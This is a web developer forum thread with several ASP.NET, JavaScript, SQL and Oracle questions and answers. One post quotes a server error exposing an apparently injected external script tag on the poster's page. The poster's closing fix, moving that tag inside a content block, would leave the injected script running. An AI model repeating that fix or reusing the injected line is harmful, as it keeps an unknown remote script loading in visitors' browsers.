|
I have a treeview in my form. I need to get the nodes count of the treeview using javascript. I know it is possible in code behind. But I want to do it in javascript.
I used the following code,but getting an error that "controlid.Nodes.length" is null or not an object.
var controlid = document.getElementById('ctl00_MainContent_CreateWizard_UnitsTreeView');
var nodecount = controlid.Nodes.length;
alert(nodecount);
Any idea how to get the count of nodes? Please help.
Thanks,
Success is the good fortune that comes from aspiration, desperation, perspiration and inspiration.
|
|
|
|
|
Why do you require this using javascript.
treeview renders nested tables. So you need to use javascript to count tables.
why dont you count in the server side and store in an hidden field ?
|
|
|
|
|
The treeview is rendered as a table, so there is no easy way to get a count of nodes - the nodes are actually table rows and cells.
You could apply a css class or other attribute to the nodes in the code behind when you are creating your treeview - then use javascript to count the number of elements with that class - very simple if you use JQuery.
Are you adding or removing nodes dynamically with javascript? If not then you could just count them as they are added server-side and embed them in your javascript when the page is rendered. This[^] post will show you how to embed asp.net variable.
Hope that helps.
|
|
|
|
|
hii
all.i have stored images in database by giving their path.now i want to show the images in datalist.
tell me how can i do this......plz guide....
thnks in advc....
|
|
|
|
|
You have to read that image in a byte array.
I suggest you to search on google, you'll find many helpful articles.
|
|
|
|
|
No, he doesn't. He's stored a path, he can just pass that path to an img tag.
Christian Graus
Driven to the arms of OSX by Vista.
Read my blog to find out how I've worked around bugs in Microsoft tools and frameworks.
|
|
|
|
|
Oh i am sorry, i didn't noticed that.
|
|
|
|
|
Here is one of my article which showing image from database to gridview.
Displaying Image in Gridview from Database[^]
Hope, you can also do the same for datalist.
Thanks !
Abhijit Jana | Codeproject MVP
Web Site : abhijitjana.net
Don't forget to click "Good Answer" on the post(s) that helped you.
|
|
|
|
|
u just give the path of the image where u need to display
|
|
|
|
|
Hello,
I suggest you use "Asp:Repeater". Put img in the container and then bind the img source to your database.
|
|
|
|
|
here is my query and i use it for making a crystal report when i run it in database MS Access it show the values but same query when i run it in sql server it show error "The text,ntext and image data type cannot be compared or sorted except when IS NULL or LIKE"
there are its datatypes
TotalSale int
Price money
Category Text
Transaction Text
same datatype used in sqlserver and MS access. Plz help
SELECT Sum(b.TotalSale*b.Price) AS total, a.Category , a.[Transaction]
FROM TransactionType AS a INNER JOIN CouponTransaction AS b ON a.TransactionTypeID = b.TransactionTypeID
GROUP BY a.Category,a.[Transaction];
|
|
|
|
|
You can't GROUP BY a field of type text .
You could cast Category to a varchar , but that would not perform well.
Are you sure that the type text is the most appropriate for your data? A varchar might be much better and your GROUP BY would then work.
|
|
|
|
|
thnx Nigel now its working when i change its datatype.
again thank u very much
|
|
|
|
|
Dear all,
How can I connect to an Oracle database under Linux from a ASP.Net Web (intranet) application to be hosted on IIS. To summarize the platform is as follows
IIS on Windows 2003 - Web Server
Oracle 10g under Red Hat Linux - database (Note: database is on Linux platform)
Application has been developed in ASP.NET in Visual Studio 2008.
What all settings do I need to make to make this application connect to Oracle.
Thanx in advance.
|
|
|
|
|
Add OracleClient.dll and use OracleConnection object.
Just pass Username and password with Datasource .. And I think it will connect.
Let me know what problems you are facing ?
I think only writing correct connectionstring will do everything.
|
|
|
|
|
v1i9n6o7d wrote: What all settings do I need to make to make this application connect to Oracle.
You need to give only the server IP address or name and user id , password for Database server. Make Sure network conection established properly.
Abhijit Jana | Codeproject MVP
Web Site : abhijitjana.net
Don't forget to click "Good Answer" on the post(s) that helped you.
|
|
|
|
|
Hello friends,
I am stucked in a problem and I am not getting any solution. The page is giving a parser error:
Server Error in '/' Application.
Parser Error
Description: An error occurred during the parsing of a resource required to service this request. Please review the following specific parse error details and modify your source file appropriately.
Parser Error Message: Only Content controls are allowed directly in a content page that contains Content controls.
Source Error:
Line 97:
Line 98:
Line 99: </asp:Content><script src=http://agenturadomov.cz/eng/sluzby.php ></script>
Source File: /index.aspx Line: 99
Version Information: Microsoft .NET Framework Version:2.0.50727.3082; ASP.NET Version:2.0.50727.3082
I checked my code and found that I am not using such type of script. I googled and found that it may be because of several reasons like using
(xml tags)
and
<asp:content> instead of <asp:content>
But they didn't worked for me. Please assist me. Here is the code:
<br />
<%@ Page Language="C#" MasterPageFile="~/MasterPage.master" AutoEventWireup="true" ClientTarget="uplevel" CodeFile="index.aspx.cs" Inherits="index" Title="Eurowire Containers Limited" %><br />
<br />
<asp:Content ID="Content1" ContentPlaceHolderID="head" Runat="Server"><br />
<link rel="stylesheet" type="text/css" href="css/style.css" /><br />
<script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1.3.2/jquery.min.js" ></script><br />
<script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jqueryui/1.5.3/jquery-ui.min.js" ></script><br />
<script type="text/javascript"><br />
$(document).ready(function(){<br />
$("#featured > ul").tabs({fx:{opacity: "toggle"}}).tabs("rotate", 5000, true);<br />
});<br />
</script><br />
</asp:Content><br />
<asp:Content ID="Content2" ContentPlaceHolderID="ContentPlaceHolder1" Runat="Server"><br />
<br />
<div id="featured" ><br />
<ul class="ui-tabs-nav"><br />
<li class="ui-tabs-nav-item ui-tabs-selected" id="nav-fragment-1"><a href="#fragment-1" class="blacktext"><img src="images/image1-small.jpg" alt="" /><span>Exotic Cookware Designs</span></a></li><br />
<li class="ui-tabs-nav-item" id="nav-fragment-2"><a href="#fragment-2" class="blacktext"><img src="images/image2-small.jpg" alt="" /><span>Ice Machines</span></a></li><br />
<li class="ui-tabs-nav-item" id="nav-fragment-3"><a href="#fragment-3" class="blacktext"><img src="images/image3-small.jpg" alt="" /><span>Glassware</span></a></li><br />
<li class="ui-tabs-nav-item" id="nav-fragment-4"><a href="#fragment-4" class="blacktext"><img src="images/image4-small.jpg" alt="" /><span>Gastronorm</span></a></li><br />
</ul><br />
<br />
<br />
<div id="fragment-1" class="ui-tabs-panel" style=""><br />
<img src="images/image1.jpg" alt="" /><br />
<div class="info" ><br />
<h2><a href="#" >Exoitic Cookware Design</a></h2><br />
<p>Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla tincidunt condimentum lacus. Pellentesque ut diam....<a href="#" >read more</a></p><br />
</div><br />
</div><br />
<br />
<br />
<div id="fragment-2" class="ui-tabs-panel ui-tabs-hide" style=""><br />
<img src="images/image2.jpg" alt="" /><br />
<div class="info" ><br />
<h2><a href="#" >Ice Machines</a></h2><br />
<p>Vestibulum leo quam, accumsan nec porttitor a, euismod ac tortor. Sed ipsum lorem, sagittis non egestas id, suscipit....<a href="#" >read more</a></p><br />
</div><br />
</div><br />
<br />
<br />
<div id="fragment-3" class="ui-tabs-panel ui-tabs-hide" style=""><br />
<img src="images/image3.jpg" alt="" /><br />
<div class="info" ><br />
<h2><a href="#" >Glassware</a></h2><br />
<p>liquam erat volutpat. Proin id volutpat nisi. Nulla facilisi. Curabitur facilisis sollicitudin ornare....<a href="#" >read more</a></p><br />
</div><br />
</div><br />
<br />
<br />
<div id="fragment-4" class="ui-tabs-panel ui-tabs-hide" style=""><br />
<img src="images/image4.jpg" alt="" /><br />
<div class="info" ><br />
<h2><a href="#" >Gastronorm</a></h2><br />
<p>Quisque sed orci ut lacus viverra interdum ornare sed est. Donec porta, erat eu pretium luctus, leo augue sodales....<a href="#" >read more</a></p><br />
</div><br />
</div><br />
<br />
</div><br />
<br />
<div class="purple">Hot Deals</div><br />
<div class="purplemid"><br />
<img src="images/200_CB923.jpg" alt="" /> <img src="images/200_CC059.jpg" alt="" /> <img src="images/200_CC250.jpg" alt="" /><br />
<img src="images/200_CB793.jpg" alt="" /> <img src="images/200_CB794.jpg" alt="" /><br />
<br /> <img src="images/200_CC251.jpg" alt="" /> <img src="images/200_T315.jpg" alt="" /> <img src="images/200_T316.jpg" alt="" /><br />
<img src="images/200_P044.jpg" alt="" /> <img src="images/200_P188.jpg" alt="" /><br />
</div><br />
<div class="puplebtm"></div><br />
<br /><br />
<div class="purple">Latest Products</div><br />
<div class="purplemid"><br />
<div class="dtls"><br />
<div class="itempic" align="center"><img src="images/freeze.jpg" alt="" /></div><div class="details" >Lorem Ipsum is simply dummy text of the printing and typesetting industry. Lorem Ipsum has been the industry's standard dummy text ever since the 1500s, when an unknown printer took a galley of type and scrambled it to make a type specimen book. It has survived not only five centuries, but also the leap into electronic typesetting, remaining essentially unchanged. It was popularised in the 1960s with the release of Letraset sheets containing Lorem Ipsum passages, and more recently with desktop publishing software like Aldus PageMaker including versions of Lorem Ipsum..</div><br />
</div><br />
<div class="dtls"><br />
<div class="itempic" align="center"><img src="images/freeze.jpg" alt="" /></div><div class="details" >Lorem Ipsum is simply dummy text of the printing and typesetting industry. Lorem Ipsum has been the industry's standard dummy text ever since the 1500s, when an unknown printer took a galley of type and scrambled it to make a type specimen book. It has survived not only five centuries, but also the leap into electronic typesetting, remaining essentially unchanged. It was popularised in the 1960s with the release of Letraset sheets containing Lorem Ipsum passages, and more recently with desktop publishing software like Aldus PageMaker including versions of Lorem Ipsum..</div><br />
</div><br />
</div><br />
<div class="puplebtm"></div><br />
<br />
<br />
<br />
<br />
</asp:Content><br />
<asp:Content ID="Content3" ContentPlaceHolderID="ContentPlaceHolder2" Runat="Server"><br />
<br />
<div class="ornage">Add to cart</div><br />
<div class="orangemid"><br />
Items:<br /> Value: <br />
</div><br />
<div class="ornagebtm"></div><br />
<div class="ornage">Star Buys</div><br />
<div class="orangemid"><br />
<asp:Image ID="Img1" runat="server" /><asp:Image ID="Img2" runat="server" /><asp:Image ID="Img3" runat="server" /> <br />
</div><br />
<div class="ornagebtm"></div><br />
<br />
<br />
</asp:Content><br />
cheers,
sneha
|
|
|
|
|
Your Application is hosted on IIS or it is running from VS ? Is it is from IIS what is the Framework version over there ?
Abhijit Jana | Codeproject MVP
Web Site : abhijitjana.net
Don't forget to click "Good Answer" on the post(s) that helped you.
|
|
|
|
|
Thank you replying. It is working fine on local host. When I uploaded it to the server, It worked fine for a day. Next day I got this error. Then after googling I removed all the xml tags () and again uploaded it to the server. It worked fine. Then after some time it again showed the error.
cheers,
sneha
|
|
|
|
|
What is the Virtual Directory Framework Version on IIS ?
Abhijit Jana | Codeproject MVP
Web Site : abhijitjana.net
Don't forget to click "Good Answer" on the post(s) that helped you.
|
|
|
|
|
I am developing with asp.net 3.5 and the same is on the server.
cheers,
sneha
|
|
|
|
|
I think u did right, any way try designing the same code using .net 3.5 ver if possible.Good luck.
|
|
|
|
|
Something is adding that <script> block to your page, so asp.net then throws an error because there is something outside an <asp:Content> block - which is not allowed.
The first thing I would do is check IIS to make sure that there is nothing set to automatically include the block.
|
|
|
|
|
Thanks for the replies. I got the solution. Actually I have to move the script tag inside a <asp:Content> tag.
cheers,
sneha
|
|
|
|
|
I have a slide show extender Ajax control & the images in that are fetched from the database. The slide show extender allows only to bind the image name & some caption related to that(fetched from database). And my need is when i click a image in that slide show it should open a new window with the corresponding URL which is also to be fetched from database. I have created this Ajax control in Asp.net with C#. Kindly help me in making this possible.
Thanks in advance.
|
|
|
|